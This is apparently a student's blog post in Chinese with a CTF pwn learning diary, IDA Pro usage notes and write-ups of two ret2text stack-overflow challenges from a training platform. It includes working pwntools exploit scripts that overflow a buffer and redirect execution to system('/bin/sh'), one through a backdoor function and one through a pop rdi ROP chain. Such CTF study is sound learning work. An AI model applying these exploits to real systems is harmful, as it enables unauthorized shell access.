非常简单的pwn学习过程+两道ret2text wp
开篇碎碎念
开学到现在这几天每天都是1点左右入睡,不需要任何轻音乐,基本就是一闭眼就能睡着,明明什么都没做但又感觉做了很多事非常累,我不喜欢这种“无效的疲惫”。
招新群进了很多专业对口的大佬,焦虑倒还好已经不在乎了,自己慢慢学便是。
学ctf这方面就是不能急,谁急谁就学不好。协会一直强调“万丈高楼平地起,勿在浮沙筑高台”。
这几天每天都去协会然后和白夜学长一起踩着门禁回寝室,累但值得,协会几乎所有学长都见过面了都认识了。ts哥、白夜学长、t0学长、answer哥、e哥这种已经是“老熟人”了
军训美女教官非常好看
当了班长、联络员,我自己的评价是:有能力就要有责任与担当,这是高贵者的义务、纯粹者的自由。
moe破1000分
今晚没去协会因为听完学院社团宣讲就得知训练平台要开了,飞奔回寝室结果拖到了明天。(再说一句e哥辛苦,协会的web佬都辛苦了)
碎碎念到此为止
IDA PRO
稍微学会了这个二进制神器的使用,这里记一些它的用法。
首先打开ida32或ida64,取决于题目文件。直接选择go,接着就可以将自己的文件拖入其中进行分析。
(这里放图片)
接着可以看到ida分析出来的汇编指令,按f5可以很舒服地查看伪代码,也就是ida分析之后生成的C语言代码,与C语言本身稍有不同于是称作伪代码
(图片)
双击函数名可以跳转到对应函数的界面,查看其定义
双击变量名则可以查看对应栈帧中其储存位置,在做题时应当留意各个变量的位置关系,处理得当可以造成栈溢出漏洞等。
以下是我的t0hka学长整理出来的一些便捷操作,非常实用我直接照搬了。
1 | ; 为当前指令添加注释 |
pwn题的一些流程
题目一般会给一个端口和一个文件,文件下载之后我们可以将其拖入ida进行分析,看明白其原理之后可以 1、直接肉眼判断+肉脑思考 解出一些简单且计算量小的题。2、写脚本进行不同目的的实现。
本地分析过程中可以利用pwntools、pwndbg等进行动态静态调试,观察每一条汇编语言的执行流程以及计算机内部栈空间的变化,对解题有非常显著的帮助。
本地玩明白了能运行system(“/bin/sh”)或是直接有”cat flag”这种表示解题成功的指令了就可以去远程端口get shell并且cat真正的flag啦。
总之就是对服务端进行一个劫持,获取shell或是控制流,能让远程执行我们想要的指令,获取flag
ret2text-1(easy_backd00r)
一道非常经典的栈溢出小题,是pwn题的开端。
下载附件拖进ida之后查看伪代码,main函数如下:
1
2
3
4
5
6
7
8
9
10
11 int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[32]; // [rsp+0h] [rbp-20h] BYREF
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
printf("Can you tell me something about you?\n>");
read(0, buf, 0x38uLL);
return 0;
}
没什么特殊的就是一道read造成的栈溢出,当然,在linux终端里checksec发现也没有开启任何保护
并且发现该程序有一个backd00r后门函数,其内容如下
1
2
3
4
5 void __noreturn backd00r()
{
system("/bin/sh");
exit(0);
}
这就是我们get shell的一步了,那么思路也很清晰了,我们要做的就是通过栈溢出,将stack of main主函数栈的返回地址修改成我们后门函数的地址即可
于是有了以下exp
1
2
3
4
5
6from pwn import *
p=remote("1-vidar-train-docker.xn--sxa.cc",49345)
any=0xcafebabe #junk
backdoor=0x401283 #return address
p.sendline(b'a'*32+p64(any)+p64(backdoor))
p.interactive()
这里需要的知识点个人认为比较重要的是栈空间的结构吧,认识了栈的排布就能控制栈溢出。
这里可以参考白夜学长的文档,写得非常好。
栈溢出入门以及ret2text.pdf
ret2text-2(without_backd00r)
与上一道题一脉相承,在原先的基础上取消掉了backd00r函数,那么我们就要想办法自己写入system(“/bin/sh”)
附件拖入ida之后看到vuln函数如下:
1
2
3
4
5
6
7
8
9 ssize_t vuln()
{
char buf[32]; // [rsp+0h] [rbp-20h] BYREF
system("echo I have removed the /bin/sh");
system("echo \"I'm sure you can't hack me this time!\"");
system("echo Now can you introduce yourself again?");
return read(0, buf, 0x80uLL);
}
依旧是read造成的溢出,不过这次的返回地址不能再像上题一样直接写backd00r函数地址因为没有这个函数了。
这里我们可以先使用shift+f12查看程序中有的字符串,界面如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14LOAD:0000000000400318 0000001C C /lib64/ld-linux-x86-64.so.2
LOAD:00000000004004A9 0000000A C libc.so.6
LOAD:00000000004004B3 00000006 C stdin
LOAD:00000000004004BE 00000007 C stdout
LOAD:00000000004004C5 00000007 C stderr
LOAD:00000000004004CC 00000007 C system
LOAD:00000000004004D3 00000007 C setbuf
LOAD:00000000004004DA 00000012 C __libc_start_main
LOAD:00000000004004EC 0000000C C GLIBC_2.2.5
LOAD:00000000004004F8 0000000F C __gmon_start__
.rodata:0000000000402008 00000020 C echo I have removed the /bin/sh
.rodata:0000000000402028 0000002D C echo \"I'm sure you can't hack me this time!" //这里在第二个引号前有一个"\"符号,我把它去掉了否则字符串不闭合,影响美观~
.rodata:0000000000402058 0000002B C echo Now can you introduce yourself again?
.eh_frame:000000000040212F 00000006 C :*3$\"
双击左侧_system查看,记录其地址为0x401070
有了system函数的地址之后我们还需要获取/bin/sh
字符串的地址,这一步愚蠢的l0tus在各个函数里找了半天,翻了很久的_system,__libc等等,后来终于意识到,**/bin/sh** 这个字符串原来就在vuln函数的那句输出里……
于是找到echo的语句
1
2
3
4
5
6
7
8
9
10
11
12.rodata:0000000000402008 ; const char command[]
.rodata:0000000000402008 65 63 68 6F 20 49 20 68 61 76+command db 'echo I have removed the /bin/sh',0
.rodata:0000000000402008 65 20 72 65 6D 6F 76 65 64 20+ ; DATA XREF: vuln+C↑o
.rodata:0000000000402028 ; const char aEchoIMSureYouC[]
.rodata:0000000000402028 65 63 68 6F 20 22 49 27 6D 20+aEchoIMSureYouC db 'echo "I',27h,'m sure you can',27h,'t hack me this time!"',0
.rodata:0000000000402028 73 75 72 65 20 79 6F 75 20 63+ ; DATA XREF: vuln+18↑o
.rodata:0000000000402055 00 00 00 align 8
.rodata:0000000000402058 ; const char aEchoNowCanYouI[]
.rodata:0000000000402058 65 63 68 6F 20 4E 6F 77 20 63+aEchoNowCanYouI db 'echo Now can you introduce yourself again?',0
.rodata:0000000000402058 61 6E 20 79 6F 75 20 69 6E 74+ ; DATA XREF: vuln+24↑o
.rodata:0000000000402058 72 6F 64 75 63 65 20 79 6F 75+_rodata ends
.rodata:0000000000402058 72 73 65 6C 66 20 61 67 61 69+
可以看到,'echo I have removed the /bin/sh',0
这句话的地址是0x402008,那么就可以通过扳脚指头的方法得知/bin/sh
的地址是 0x402020
接着我们还需要获取的是pop rdi; ret
这段指令的地址
直接在终端里利用ROPgadget指令一查便可得知:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16l0tus@l0tus-virtual-machine:~/下载/attachment(11)$ ROPgadget --binary vuln | grep pop
0x0000000000401213 : add byte ptr [rax], al ; add byte ptr [rax], al ; pop rbp ; ret
0x0000000000401215 : add byte ptr [rax], al ; pop rbp ; ret
0x000000000040115b : add byte ptr [rcx], al ; pop rbp ; ret
0x0000000000401156 : mov byte ptr [rip + 0x2f0b], 1 ; pop rbp ; ret
0x0000000000401212 : mov eax, 0 ; pop rbp ; ret
0x000000000040127c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040127e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000401280 : pop r14 ; pop r15 ; ret
0x0000000000401282 : pop r15 ; ret
0x000000000040127b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040127f : pop rbp ; pop r14 ; pop r15 ; ret
0x000000000040115d : pop rbp ; ret
0x0000000000401283 : pop rdi ; ret
0x0000000000401281 : pop rsi ; pop r15 ; ret
0x000000000040127d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
可以看到pop rdi; ret
的地址是0x401283
大功告成,接下来写payload,注意不要忘了栈对齐!
exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14from pwn import *
p = remote("1-vidar-train-docker.xn--sxa.cc",49177)
#p=process('./vuln')
any=0xcafebabe #also junk
payload = b'a'*32 # junk
payload += p64(any) # Sign
payload += p64(0x401283) # pop rdi; ret;
payload += p64(0x402020) # '/bin/sh' -> rdi
payload += p64(0x40101a) # 栈对齐
payload += p64(0x401070) # call system
# p.sendline(b'a'*32 + p64(any) + p64(0x401283) + p64(0x402020) +p64(0x401070))
p.sendline(payload)
p.interactive()